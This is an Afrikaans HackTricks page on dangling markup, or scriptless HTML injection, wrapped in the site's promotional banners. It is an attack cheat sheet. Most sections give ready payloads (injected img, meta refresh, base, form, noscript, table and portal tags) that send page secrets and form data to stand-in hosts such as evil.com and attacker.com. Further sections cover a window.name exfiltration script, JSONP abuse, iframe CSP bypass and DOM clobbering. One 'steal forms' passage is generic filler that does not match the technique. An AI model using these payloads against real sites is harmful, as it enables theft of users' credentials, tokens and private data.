.. | ||
README.md | ||
ss-leaks.md |
Hangende Markup - HTML skriptlose inspuiting
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy in HackTricks wil adverteer of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Opsomming
Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n HTML-inspuiting gevind word. Dit is baie nuttig as jy nie 'n manier vind om 'n XSS te benut nie, maar jy kan 'n paar HTML-etikette inspuit.
Dit is ook nuttig as 'n geheim in die HTML in duidelike teks bewaar word en jy dit van die klient wil uitvoer of as jy 'n skripsie-uitvoering wil mislei.
Verskeie tegnieke wat hier bespreek word, kan gebruik word om sekere Content Security Policy te omseil deur inligting op onverwagte maniere uit te voer (html-etikette, CSS, http-meta-etikette, vorms, basis...).
Hooftoepassings
Steel duidelike teksgeheime
As jy <img src='http://evil.com/log.cgi?
inspuit, sal die slagoffer jou al die kode tussen die ingespuite img
-etiket en die volgende aanhalingsteken binne die kode na jou stuur. As 'n geheim op een of ander manier in daardie brokkie geleë is, sal jy dit steel (jy kan dieselfde ding doen deur 'n dubbele aanhalingsteken te gebruik, kyk watter een meer interessant kan wees om te gebruik).
As die img
-etiket verbied is (as gevolg van CSP byvoorbeeld), kan jy ook <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
gebruik.
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Let daarop dat Chrome HTTP-URL's blokkeer met "<" of "\n" daarin, so jy kan ander protokolskemas soos "ftp" probeer.
Jy kan ook CSS @import
misbruik (sal al die kode stuur totdat dit 'n ";") vind.
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Jy kan ook <tabel
gebruik:
<table background='//your-collaborator-id.burpcollaborator.net?'
Jy kan ook 'n <base
tag invoeg. Alle inligting sal gestuur word totdat die aanhalingsteken gesluit is, maar dit vereis 'n bietjie gebruikersinteraksie (die gebruiker moet op 'n skakel klik, omdat die basis-tag die domein waarop die skakel wys, verander het):
<base target=' <--- Injected
steal me'<b>test</b>
Steel vorms
Hierdie tegniek maak gebruik van 'n kwesbaarheid genaamd "dangling markup" om vorminligting te steel van 'n webwerf. 'n Dangling markup verwys na HTML-kode wat nie korrek gekoppel is aan die res van die webwerf nie, maar steeds deur die webblaaier geïnterpreteer word.
Om vorminligting te steel, moet jy eers 'n vorm op die teikenwebwerf vind wat voldoen aan die volgende vereistes:
- Die vorm moet 'n aksie-attribuut hê wat verwys na 'n eksterne webwerf of 'n ander domein.
- Die vorm moet 'n metode-attribuut hê wat ingestel is op "GET" of "POST".
- Die vorm moet 'n invoerveld hê wat geheime inligting bevat, soos 'n wagwoord of 'n kredietkaartnommer.
As jy so 'n vorm vind, kan jy 'n aangepaste HTML-kode skep wat die vorminligting na jou eie webwerf stuur. Hier is die stappe wat jy kan volg:
- Skep 'n nuwe HTML-dokument met die aangepaste kode.
- Stel die aksie-attribuut van die vorm in op jou eie webwerf se URL.
- Stel die metode-attribuut van die vorm in op "POST" of "GET", afhangende van die oorspronklike vorm.
- Voeg 'n invoerveld by wat die geheime inligting sal ontvang.
- Stuur die aangepaste kode na die teikenwebwerf deur dit in te sluit in 'n kwesbare plek, soos 'n kommentaarveld of 'n onsigbare element.
As 'n gebruiker die webwerf besoek en die vorm invul, sal die inligting na jou eie webwerf gestuur word in plaas van na die beoogde bestemming. Hierdie tegniek kan gebruik word om gevoelige inligting soos wagwoorde en kredietkaartnommers te steel.
Dit is belangrik om te onthou dat die gebruik van hierdie tegniek onwettig is sonder toestemming van die eienaar van die teikenwebwerf. Dit word sterk aanbeveel om slegs etiese hacking-tegnieke te gebruik en om altyd die toepaslike wette en regulasies te volg.
<base href='http://evil.com/'>
Dan, die vorms wat data na 'n pad stuur (soos <form action='update_profile.php'>
) sal die data na die skadelike domein stuur.
Steel vorms 2
Stel 'n vormkop: <form action='http://evil.com/log_steal'>
dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.
Steel vorms 3
Die knoppie kan die URL waar die inligting van die vorm gestuur gaan word, verander met die atribuut "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
'n Aanvaller kan dit gebruik om die inligting te steel.
Steel van duidelike teksgeheime 2
Deur die nuutste genoemde tegniek te gebruik om vorms te steel (deur 'n nuwe vormkop in te spuit), kan jy dan 'n nuwe insetveld inspuit:
<input type='hidden' name='review_body' value="
en hierdie invoerveld sal al die inhoud tussen sy dubbele aanhalingstekens en die volgende dubbele aanhalingstekens in die HTML bevat. Hierdie aanval meng die "Steel van duidelike teksgeheime" met "Steel vorms2".
Jy kan dieselfde ding doen deur 'n vorm en 'n <option>
-etiket in te spuit. Alle data tot 'n geslote </option>
gevind word, sal gestuur word:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Vormparameterinjeksie
Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte aksie uitgevoer sal word:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Steel duidelike teksgeheime via noscript
<noscript></noscript>
is 'n etiket waarvan die inhoud geïnterpreteer sal word as die webblaaier nie javascript ondersteun nie (jy kan javascript in Chrome aktiveer/deaktiveer by chrome://settings/content/javascript).
'n Manier om die inhoud van die webbladsy vanaf die inspuitingspunt tot onder aan 'n aanvallerbeheerde webwerf uit te voer, is deur dit in te spuit:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Bypassing CSP met gebruikersinteraksie
Vanaf hierdie portswiggers-navorsing kan jy leer dat selfs in die mees CSP-beperkte omgewings jy steeds data kan uitlek met 'n bietjie gebruikersinteraksie. In hierdie geval gaan ons die lading gebruik:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Let daarop dat jy die slagoffer sal vra om op 'n skakel te klik wat hom na 'n payload wat deur jou beheer word, sal omlei. Let ook daarop dat die target
eienskap binne die base
tag HTML-inhoud sal bevat tot die volgende enkel aanhalingsteken.
Dit sal veroorsaak dat die waarde van window.name
as die skakel geklik word, al daardie HTML-inhoud sal wees. Daarom, aangesien jy die bladsy beheer waar die slagoffer toegang tot verkry deur die skakel te klik, kan jy daardie window.name
toegang en die data uitlek:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Misleidende skripswerkstroom 1 - HTML-naamruimte-aanval
Voeg 'n nuwe tag met 'n id binne die HTML in wat die volgende een sal oorskryf en met 'n waarde wat die vloei van 'n skrip sal beïnvloed. In hierdie voorbeeld kies jy met wie inligting gedeel gaan word:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Misleidende skripswerkstroom 2 - Skripsnaamruimte-aanval
Skep veranderlikes binne die javascript-naamruimte deur HTML-etikette in te voeg. Hierdie veranderlike sal dan die vloei van die toepassing beïnvloed:
<script>
var x = 10;
</script>
In hierdie voorbeeld word die veranderlike x
binne die skripsnaamruimte geskep deur die <script>
-etiket te gebruik. Hierdie veranderlike kan dan gebruik word om die vloei van die toepassing te manipuleer.
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Misbruik van JSONP
As jy 'n JSONP-koppelvlak vind, kan jy 'n willekeurige funksie met willekeurige data oproep:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Of jy kan selfs probeer om 'n bietjie javascript uit te voer:
<script src='/search?q=a&call=alert(1)'></script>
Iframe misbruik
'n Kind-dokument besit die vermoë om die location
eienskap van sy ouer te sien en te wysig, selfs in kruis-oorsprong situasies. Dit maak dit moontlik om 'n skripsie binne 'n iframe in te sluit wat die kliënt na 'n willekeurige bladsy kan herlei:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Dit kan verminder word met iets soos: sandbox=' allow-scripts allow-top-navigation'
'n Iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek deur die iframe-naamkenmerk te gebruik. Dit is omdat jy 'n iframe kan skep wat homself iframed deur die HTML-injectie te misbruik wat die sensitiewe inligting binne die iframe-naamkenmerk laat verskyn en dit dan vanuit die oorspronklike iframe kan toegang en lek.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Vir meer inligting, kyk na https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta misbruik
Jy kan meta http-equiv
gebruik om verskeie aksies uit te voer, soos die stel van 'n koekie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
of 'n omleiding uit te voer (in 5s in hierdie geval): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Dit kan vermy word met 'n CSP met betrekking tot http-equiv (Content-Security-Policy: default-src 'self';
, of Content-Security-Policy: http-equiv 'self';
)
Nuwe <portal HTML-tag
Jy kan 'n baie interessante navorsing oor uitbuitbare kwesbaarhede van die <portal-tag vind hier.
Op die oomblik van hierdie skrywe moet jy die portal-tag in Chrome aktiveer by chrome://flags/#enable-portals
anders sal dit nie werk nie.
<portal src='https://attacker-server?
HTML-lekke
Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kyk hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-lekke
Dit is 'n mengsel tussen dangling markup en XS-lekke. Aan die een kant maak die kwesbaarheid dit moontlik om HTML (maar nie JS) in 'n bladsy van dieselfde oorsprong as die een wat ons sal aanval, in te spuit. Aan die ander kant sal ons nie direk die bladsy aanval waarin ons HTML kan inspuit nie, maar 'n ander bladsy.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Soek/XS-lekke
XS-Soek is daarop gemik om kruis-oorsprong-inligting uit te voer deur sykanaalaanvalle te misbruik. Dit is dus 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-etikette (met en sonder JS-uitvoering), soos CSS-inspuiting of Lui Laai Beelde.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Brute-Force Deteksie Lys
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Verwysings
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.